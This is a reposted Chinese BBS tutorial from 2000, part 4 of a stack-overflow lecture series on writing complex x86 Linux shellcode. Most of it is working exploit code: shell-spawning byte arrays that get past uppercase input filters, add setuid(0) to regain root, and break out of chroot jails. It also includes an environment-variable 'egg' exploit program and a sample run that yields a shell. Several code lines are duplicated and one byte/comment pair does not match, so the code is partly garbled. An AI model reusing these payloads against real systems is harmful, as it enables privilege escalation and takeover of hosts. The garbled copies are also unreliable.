荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: playboy (冷冷的太阳), 信区: Program
标 题: [转载]堆栈溢出系列讲座(4)
发信站: BBS 荔园晨风站 (Wed Feb 23 13:16:21 2000), 转信
【 以下文字转载自 Hacker 讨论区 】
【 原文由 bstone 所发表 】
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(4)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:56:19 2000), 转信
堆栈溢出系列讲座
复杂的shellcode
前面几讲,我们已经有了基本的堆栈溢出知识,可以编写基本的shellcode了。这
一讲,
我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。
复杂shellcode的产生是由于有一定防范措施的的目标程序。(所谓道高一尺,魔
高一丈)
。以下分类讨论几种情况。注意,下面的分类是不全面的,也不可能穷尽所有的情
况,
只是提供一些例子来阐明修改shellcode的技巧。
1:输入的溢出字符串被预处理
比如,如果敌人在自己的程序里面加入如下代码,就可抑制前面提到的堆栈溢出的
攻击:
------------------------------------------------------------------------
----
----
。。。。。。
for(i=0;i<strlen(argv[1]);i++)
argv[1][i]=toupper(argv[1][i]);
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码
。。。。。。
strcpy(buffer,argv[1]);
------------------------------------------------------------------------
----
显然,由于toupper函数对输入进行了过滤处理,/bin/sh变成了\BIN\SH,UNIX系
统是
大小写敏感的,因此execve系统调用不会成功。自然得不到shell。
怎么办?我们可以修改shellcode,使他不包含ascII为0x60--0x7a的字符。我们把
/bin/sh的每一个字母都减去0x50,得到"\x2f\x12\x19\x1e\x2f\x23\x18",在
shellcode
里面再把它们改回来。
另外,指令"\x89\x76\x08" /* movl %esi,0x8(%esi) */
也有问题字符\x76.我们可以把他改成其他的等价指令。比如改成:
"movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)".
"movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)".
新的shellcode如下:
char shellcode[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
好,一个新的shellcode,绕过了预处理器的检查。我们可以用这种方法解决那些
不允许有某些字符集合的预处理检查。比如不允许!@#$%^&*的,等等。
2:对付seteuid(getuid())
有的程序在开始的时候seteuid(getuid()),然后在需要的时候才进行
setuid(0)。这样就可以在发生堆栈溢出的时候由于euid!=0而使我们只能得到普
通shell。
当你搞定了一个setuid位的程序,却发现只得到了普通用户shell的时候,就很可
能是这种情况。
但是,如果我们在自己的shellcode里面加上setuid(0),就一样可以得到
rootshell。
我们写一个带有setuid的程序,用gcc -static 编译,使用gdb来试验:
(gdb) disassemble setuid
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
我们可以用b/bx指令得到:setuid(0)的汇编代码:
------------------------------------------------------------------------
----
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
把这段代码加到标准shellcode中jmp的前面就可以了。
(注意,最好不要加到jmp的后面,因为还要重新计算偏移,而且如果期间有堆栈
操作,
就把string的返回地址冲掉了)
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80" /* int $0x80 */
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----
3:敌人把root的根目录给改掉了
有的程序chroot了(比如/home/ftp),我们B.O之后只能在指定的目录里面打转。
结果我们的/bin/sh变成了/home/ftp/bin/sh,当然不会存在。execve执行sh必然
失败。
我们可以进行如下操作:以找回root的根目录\。
我们可以进行如下操作:以找回root的根目录\。
mkdir("sh");
chroot("sh");
chroot("../../../../../../../");
它们的汇编代码为:
mkdir("sh",0755); code
------------------------------------------------------------------------
----
/* mkdir first argument is %ebx and second argument is */
/* %ecx. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x27" /* movb $0x27,%al */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
/* %esi has to reference "/bin/sh" before using this */
/* instruction. This instruction load address of "sh" */
/* and store at %ebx */
"\xfe\xc5" /* incb %ch */
/* %cx = 0000 0001 0000 0000 */
"\xb0\x3d" /* movb $0xed,%cl */
/* %cx = 0000 0001 1110 1101 */
/* %cx = 0000 0001 1110 1101 */
/* %cx = 000 111 101 101 */
/* %cx = 0 7 5 5 */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
chroot("sh"); code
------------------------------------------------------------------------
----
/* chroot first argument is ebx */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
chroot("../../../../../../../../../../../../../../../../"); code
------------------------------------------------------------------------
----
char code[]=
char code[]=
"\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */
/* disguised "../" character string */
"\xf7\xdb" /* negl %ebx */
/* %ebx = $0x002f2e2e */
/* intel x86 is little endian. */
/* %ebx = "../" */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x10" /* movb $0x10,%cl */
/* prepare for looping 16 times. */
"\x56" /* pushl %esi */
/* backup current %esi. %esi has the pointer of */
/* "/bin/sh". */
"\x01\xce" /* addl %ecx,%esi */
"\x89\x1e" /* movl %ebx,(%esi) */
"\x83\xc6\x03" /* addl $0x3,%esi */
"\xe0\xf9" /* loopne -0x7 */
/* make "../../../../ . . . " character string at */
/* 0x10(%esi) by looping. */
"\x5e" /* popl %esi */
/* restore %esi. */
"\xb0\x3d" /* movb $0x3d,%al */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
/* %ebx has the address of "../../../../ . . . ". */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
我们把这些代码加进去:
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
"\xeb\x4f" /* jmp 0x4f */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xc9" /* xorl %ecx,%ecx */
"\x5e" /* popl %esi */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\xb0\x27" /* movb $0x27,%al */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xfe\xc5" /* incb %ch */
"\xb1\xed" /* movb $0xed,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */
"\xf7\xdb" /* negl %ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x10" /* movb $0x10,%cl */
"\x56" /* pushl %esi */
"\x01\xce" /* addl %ecx,%esi */
"\x89\x1e" /* movl %ebx,(%esi) */
"\x83\xc6\x03" /* addl %0x3,%esi */
"\xe0\xf9" /* loopne -0x7 */
"\x5e" /* popl %esi */
"\xb0\x3d" /* movb $0x3d,%al */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xac\xff\xff\xff" /* call -0x54 */
"/bin/sh"; /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----
4:敌人的buffer数组开的太小
如果敌人的strcpy(buffer,ourstring)中的buffer离堆栈顶过于接近,比如,只有
12个
字节的偏移,我们的shellcode有几十个字节,如果buffer开的太小,是无法容纳
下
shellcode的,结果会导致如下情况:
内存底部 内存顶部
buffer EBP ret
<------ [SSS...S][S ][S ]S..SAAAAAAAAAAA
^&buffer
堆栈顶部 堆栈底部
看到了吗?由于buffer太小,离栈顶又太近,相对于这个短小的空间,我们的
shellcode
shellcode
太长了,以至于覆盖了ret,而我们猜测的返回地址(A)被迫写到了更远的地方。
这样,
函数执行完,返回的时候,取出的是shellcode的某一个片断作为返回地址,跑到
月球上
了。。。
为了解决这个问题,我们引入了环境变量。为了避免溢出字符串的长度大于
buffer长度
的情况,我们把溢出串放在一个环境变量里面,把他的地址放在另一个环境变量里
面。
这两个变量分别为:
$RET = AAAAAAAAAAAAAAAAAAAAA
$EGG = NNNNNNNNNNNSSSSSSSSSS
把变量RET的内容作为参数传给被测试的程序。
这里有必要解释一下linux系统中的环境变量。每一个程序在开始运行的时候,父
shell
的环境变量都会在堆栈中。因此,当目标程序在一个以EGG为环境变量的shell中运
行时
,他的堆栈里面就自动继承了我们的EGG变量的内容。见下图所示:
堆栈顶 堆
堆栈顶 堆
栈底
<参数指针>NULL<环境变量指针>NULL<参数个数><参数><环境变量>
这样,当我们用猜测的地址(A)构成的RET变量传给敌人的strcpy函数时,他的堆
栈就
会被A充满。如果我们的EGG很大,那么里面的NOP就越多,自然命中的概率就越大
。
overflow.c
------------------------------------------------------------------------
------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
//现在,egg里面内容为:NNNNNNNNNNNNNNNNNNSSS
//buff里面的内容为AAAAAAAAAAAAAAAAAAA,
//buff里面的内容为AAAAAAAAAAAAAAAAAAA,
//我们猜测的egg环境变量的开始地址。
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
//使用 putenv 来设置EGG,RET这两个环境变量。
system("/bin/bash");
//这个bash继承了两个环境变量。
}
------------------------------------------------------------------------
------
好了,来试一试:
------------------------------------------------------------------------
------
[nkl10]$ ./overflow 768
Using address: 0xbffffdb0
[nkl10]$ ./overflow $RET
$
------------------------------------------------------------------------
------
--
//我们猜测的egg环境变量的开始地址。
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 202.112.101.131]
--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.1.90]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店